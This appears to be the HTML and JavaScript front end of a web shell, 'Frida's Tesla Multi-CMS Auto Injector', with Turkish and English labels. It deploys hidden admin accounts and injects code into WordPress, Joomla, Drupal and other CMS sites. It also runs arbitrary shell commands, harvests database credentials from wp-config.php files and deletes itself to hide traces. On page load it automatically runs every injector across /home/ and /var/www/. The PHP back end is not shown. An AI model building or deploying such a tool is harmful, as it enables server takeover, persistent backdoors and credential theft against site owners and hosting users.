            text-shadow: 0 0 5px #00ff88;
        }
        
        .status-indicator {
            display: inline-block;
            width: 10px;
            height: 10px;
            border-radius: 50%;
            margin-right: 5px;
        }
        
        .status-ok { background: #00ff88; }
        .status-blocked { background: #ff006e; }
        
        .method-list {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            margin: 10px 0;
        }
        
        .method-tag {
            background: rgba(0, 255, 136, 0.2);
            padding: 5px 10px;
            border-radius: 5px;
            font-size: 0.8rem;
            border: 1px solid #00ff88;
        }
        .panel-status {
            float: right;
            font-size: 0.85rem;
        }
    </style>
</head>
<body>
    <div class="tesla-header">
        <div class="tesla-title">⚡ FRIDA'S TESLA MULTI-CMS AUTO INJECTOR ⚡</div>
        <div>🚀 WordPress | Image Functions | Joomla | Drupal | PrestaShop | OpenCart | Generic PHP | POSIX Bypass | Auto-Execute</div>
    </div>
    
    <div class="container">
        <div class="panel" id="panel-hidden-admin">
            <div class="panel-title">👤 Gizli Admin <span class="panel-status" id="status-hidden-admin"></span></div>
                <div class="form-group">
                    <label>Target Path (boş bırak = otomatik tara):</label>
                <input type="text" id="input-hidden-admin" placeholder="/home/ veya /var/www/ veya boş">
                </div>
            <button class="btn" onclick="runSingle('hidden_admin')">🚀 Gizli Admin Deploy</button>
            <div class="output" id="output-hidden-admin" style="display:none"></div>
                </div>
        <div class="panel" id="panel-image-func">
            <div class="panel-title">🖼️ Image Function Injector <span class="panel-status" id="status-image-func"></span></div>
                <div class="form-group">
                    <label>Target Path (leave empty for auto-scan):</label>
                <input type="text" id="input-image-func" placeholder="/home/ or /var/www/ or leave empty">
                </div>
            <button class="btn" onclick="runSingle('image_function')">🚀 Deploy Image Functions</button>
            <div class="output" id="output-image-func" style="display:none"></div>
                </div>
        <div class="panel" id="panel-wp">
            <div class="panel-title">🎯 WordPress Auto Injector <span class="panel-status" id="status-wp"></span></div>
                <div class="form-group">
                    <label>Target Path (leave empty for auto-scan):</label>
                <input type="text" id="input-wp" placeholder="/home/ or /var/www/ or leave empty">
                </div>
            <button class="btn" onclick="runSingle('wp_inject')">🔄 Re-run Auto Injector</button>
            <div class="output" id="output-wp" style="display:none"></div>
                </div>
        <div class="panel" id="panel-cms">
            <div class="panel-title">🎨 Multi-CMS & PHP Footer Injector <span class="panel-status" id="status-cms"></span></div>
                <div class="form-group">
                    <label>Target Path (leave empty for auto-scan):</label>
                <input type="text" id="input-cms" placeholder="/home/ or /var/www/ or leave empty">
                </div>
            <button class="btn" onclick="runSingle('cms_inject')">🚀 Inject All CMS Types</button>
            <div class="output" id="output-cms" style="display:none"></div>
                </div>
        <div class="panel" id="panel-exec">
            <div class="panel-title">⚡ Tesla Command Executor</div>
                <div class="form-group">
                    <label>Custom Command:</label>
                <textarea id="input-command" rows="3" placeholder="Enter your command..."></textarea>
                </div>
            <button class="btn" onclick="runCommand()">⚡ Execute Command</button>
            <div class="output" id="output-exec" style="display:none"></div>
                </div>
        <div class="panel" id="panel-wpconfig">
            <div class="panel-title">🔐 WP-Config Scanner (POSIX Users)</div>
            <button class="btn" onclick="runWpConfig()">🔍 Scan wp-config.php Files</button>
            <div class="output" id="output-wpconfig" style="display:none"></div>
        </div>
        <div class="panel">
            <div class="panel-title">💀 Self-Destruct System</div>
            <div class="form-group">
                <label>Type DELETE to confirm:</label>
                <input type="text" id="input-destruct" placeholder="DELETE">
            </div>
            <button class="btn" style="background: linear-gradient(45deg, #ff006e, #ff0000);" onclick="selfDestruct()">💀 Delete This File</button>
        </div>
        <div class="panel" id="panel-status">
            <div class="panel-title">🔬 Tesla System Status <span class="panel-status" id="status-sys"></span></div>
            <div class="output" id="output-status" style="display:none"></div>
        </div>
    </div>

    <div id="global-progress" style="position:fixed;bottom:0;left:0;right:0;background:rgba(10,10,30,0.95);border-top:2px solid #00ff88;padding:10px 20px;font-family:monospace;color:#00ff88;font-size:13px;z-index:9999;display:none">
        <span id="progress-text">⏳ Başlatılıyor...</span>
        <div style="background:#1a1a2e;border-radius:4px;height:6px;margin-top:6px;overflow:hidden">
            <div id="progress-bar" style="background:linear-gradient(90deg,#00ff88,#00d4ff);height:100%;width:0%;transition:width 0.5s ease"></div>
        </div>
    </div>

<script>
const SELF_URL = window.location.href.split('?')[0];

const INJECTORS = [
    { action: 'hidden_admin', outputId: 'output-hidden-admin', statusId: 'status-hidden-admin', inputId: 'input-hidden-admin', label: '👤 Gizli Admin' },
    { action: 'image_function', outputId: 'output-image-func', statusId: 'status-image-func', inputId: 'input-image-func', label: '🖼️ Image Function' },
    { action: 'wp_inject', outputId: 'output-wp', statusId: 'status-wp', inputId: 'input-wp', label: '🎯 WordPress' },
    { action: 'cms_inject', outputId: 'output-cms', statusId: 'status-cms', inputId: 'input-cms', label: '🎨 Multi-CMS' },
];

async function ajaxCall(params) {
    const fd = new FormData();
    for (const [k, v] of Object.entries(params)) fd.append(k, v);
    const r = await fetch(SELF_URL, { method: 'POST', body: fd });
    return r.json();
}

function formatInjectorResult(action, data) {
    let lines = [];
    const d = data || {};
    const deployed = d.total_deployed || d.total_injected || 0;
    const skipped = d.total_skipped || 0;
    const paths = d.search_paths || [];
    const results = d.results || [];

    const pinged = d.total_pinged || 0;
    const ping_fail = d.total_ping_fail || 0;
    let stat = '📊 Deploy: ' + deployed + ' | Atlanan: ' + skipped + ' | Path: ' + paths.length;
    if (pinged > 0 || ping_fail > 0) stat += ' | Ping: ✅' + pinged + ' ❌' + ping_fail;
    lines.push(stat);
    lines.push('');
    if (paths.length > 0) {
        lines.push('📁 SEARCH PATHS:');
        paths.forEach(p => lines.push('  • ' + p));
        lines.push('');
    }
    if (d.cms_types) {
        let cms = [];
        for (const [k, v] of Object.entries(d.cms_types)) { if (v > 0) cms.push(k.toUpperCase() + ': ' + v); }
        if (cms.length) { lines.push('🎯 CMS: ' + cms.join(', ')); lines.push(''); }
    }
    lines.push('📝 RESULTS:');
    if (results.length > 0) {
        results.forEach(r => lines.push(r));
    } else {
        lines.push('❌ No installations found or no accessible paths.');
    }
    return lines.join('\n');
}

function setStatus(id, html) { document.getElementById(id).innerHTML = html; }
function setOutput(id, text, show) {
    const el = document.getElementById(id);
    el.textContent = text;
    el.style.display = show ? 'block' : 'none';
}
function setProgress(text, pct) {
    const bar = document.getElementById('global-progress');
    bar.style.display = 'block';
    document.getElementById('progress-text').textContent = text;
    document.getElementById('progress-bar').style.width = pct + '%';
}

async function runSingle(action) {
    const inj = INJECTORS.find(i => i.action === action);
    if (!inj) return;
    setStatus(inj.statusId, '<span style="color:#ffaa00">⏳ Çalışıyor...</span>');
    setOutput(inj.outputId, '⏳ İşlem devam ediyor...', true);
    try {
        const target = document.getElementById(inj.inputId)?.value || '';
        const data = await ajaxCall({ ajax_action: action, target_path: target });
        setOutput(inj.outputId, formatInjectorResult(action, data), true);
        const cnt = data.total_deployed || data.total_injected || 0;
        setStatus(inj.statusId, '<span style="color:#00ff88">✅ ' + cnt + ' deployed</span>');
    } catch (e) {
        setOutput(inj.outputId, '❌ Hata: ' + e.message, true);
        setStatus(inj.statusId, '<span style="color:#ff0040">❌ Hata</span>');
    }
}

async function runCommand() {
    const cmd = document.getElementById('input-command').value;
    if (!cmd) return;
    setOutput('output-exec', '⏳ Çalıştırılıyor...', true);
    try {
        const data = await ajaxCall({ ajax_action: 'execute', command: cmd });
        setOutput('output-exec', 'Method: ' + (data.method||'') + '\nSuccess: ' + (data.success ? 'YES' : 'NO') + '\nOutput:\n' + (data.output||''), true);
    } catch (e) {
        setOutput('output-exec', '❌ Hata: ' + e.message, true);
    }
}

async function runWpConfig() {
    setOutput('output-wpconfig', '⏳ Taranıyor...', true);
    try {
        const d = await ajaxCall({ ajax_action: 'scan_wpconfig' });
        let lines = ['🔐 WP-CONFIG SCANNER', ''];
        lines.push('👤 Users: ' + (d.total_users||0) + ' | Found: ' + (d.wp_configs_found||0));
        (d.results||[]).forEach(r => lines.push(r));
        if (d.configs && d.configs.length) {
            lines.push('', '🔑 CREDENTIALS:');
            d.configs.forEach((c,i) => {
                lines.push('[' + (i+1) + '] ' + (c.user||'') + ' → ' + (c.path||''));
                lines.push('    DB: ' + (c.db_name||'') + ' | User: ' + (c.db_user||'') + ' | Pass: ' + (c.db_pass||'') + ' | Host: ' + (c.db_host||'localhost'));
            });
        }
        setOutput('output-wpconfig', lines.join('\n'), true);
    } catch (e) {
        setOutput('output-wpconfig', '❌ Hata: ' + e.message, true);
    }
}

async function selfDestruct() {
    if (document.getElementById('input-destruct').value !== 'DELETE') { alert('Type DELETE to confirm'); return; }
    if (!confirm('Are you absolutely sure?')) return;
    try {
        await ajaxCall({ ajax_action: 'self_destruct' });
        document.body.innerHTML = '<div style="display:grid;height:100vh;place-items:center;background:#0c0c0c;color:#ff0040;font-size:24px;font-family:monospace">💀 File deleted. Goodbye! ⚡</div>';
    } catch (e) { alert('Hata: ' + e.message); }
}

async function loadSystemStatus() {
    setStatus('status-sys', '<span style="color:#ffaa00">⏳</span>');
    setOutput('output-status', '⏳ Yükleniyor...', true);
    try {
        const d = await ajaxCall({ ajax_action: 'system_status' });
        let lines = ['🔧 EXECUTION METHODS:'];
        (d.methods||[]).forEach(m => lines.push('  ✅ ' + m));
        lines.push('', '📊 SYSTEM INFO:', '  PHP: ' + (d.php_version||''), '  OS: ' + (d.os||''), '  Server: ' + (d.server||''), '  DocRoot: ' + (d.doc_root||''), '  CWD: ' + (d.cwd||''));
        lines.push('', '👤 USERS:');
        if (d.users) { for (const [u, h] of Object.entries(d.users)) lines.push('  • ' + u + ' → ' + h); }
        if (d.posix) lines.push('  POSIX users: ' + (d.posix_users_count||0));
        lines.push('', '🌐 HTTP: ' + (d.http_methods||[]).join(', '));
        if (d.disabled) { lines.push('', '🚫 DISABLED: ' + d.disabled); }
        setOutput('output-status', lines.join('\n'), true);
        setStatus('status-sys', '<span style="color:#00ff88">✅</span>');
    } catch (e) {
        setOutput('output-status', '❌ ' + e.message, true);
        setStatus('status-sys', '<span style="color:#ff0040">❌</span>');
    }
}

(async function autoRun() {
    setProgress('⚡ Auto-Execute başlatılıyor...', 0);
    loadSystemStatus();

    for (let i = 0; i < INJECTORS.length; i++) {
        const inj = INJECTORS[i];
        const pct = Math.round(((i) / INJECTORS.length) * 100);
        setProgress(inj.label + ' çalışıyor... (' + (i+1) + '/' + INJECTORS.length + ')', pct);
        setStatus(inj.statusId, '<span style="color:#ffaa00">⏳ Çalışıyor...</span>');
        setOutput(inj.outputId, '⏳ İşlem devam ediyor...', true);

        try {
            const data = await ajaxCall({ ajax_action: inj.action, target_path: '', final: (i === INJECTORS.length - 1) ? '1' : '0' });
            setOutput(inj.outputId, formatInjectorResult(inj.action, data), true);
            const cnt = data.total_deployed || data.total_injected || 0;
            setStatus(inj.statusId, '<span style="color:#00ff88">✅ ' + cnt + ' deployed</span>');
        } catch (e) {
            setOutput(inj.outputId, '❌ Hata: ' + e.message, true);
            setStatus(inj.statusId, '<span style="color:#ff0040">❌ Hata</span>');
        }
    }

    setProgress('✅ Tüm işlemler tamamlandı!', 100);
    setTimeout(() => { document.getElementById('global-progress').style.display = 'none'; }, 5000);
})();
</script>
</body>
</html>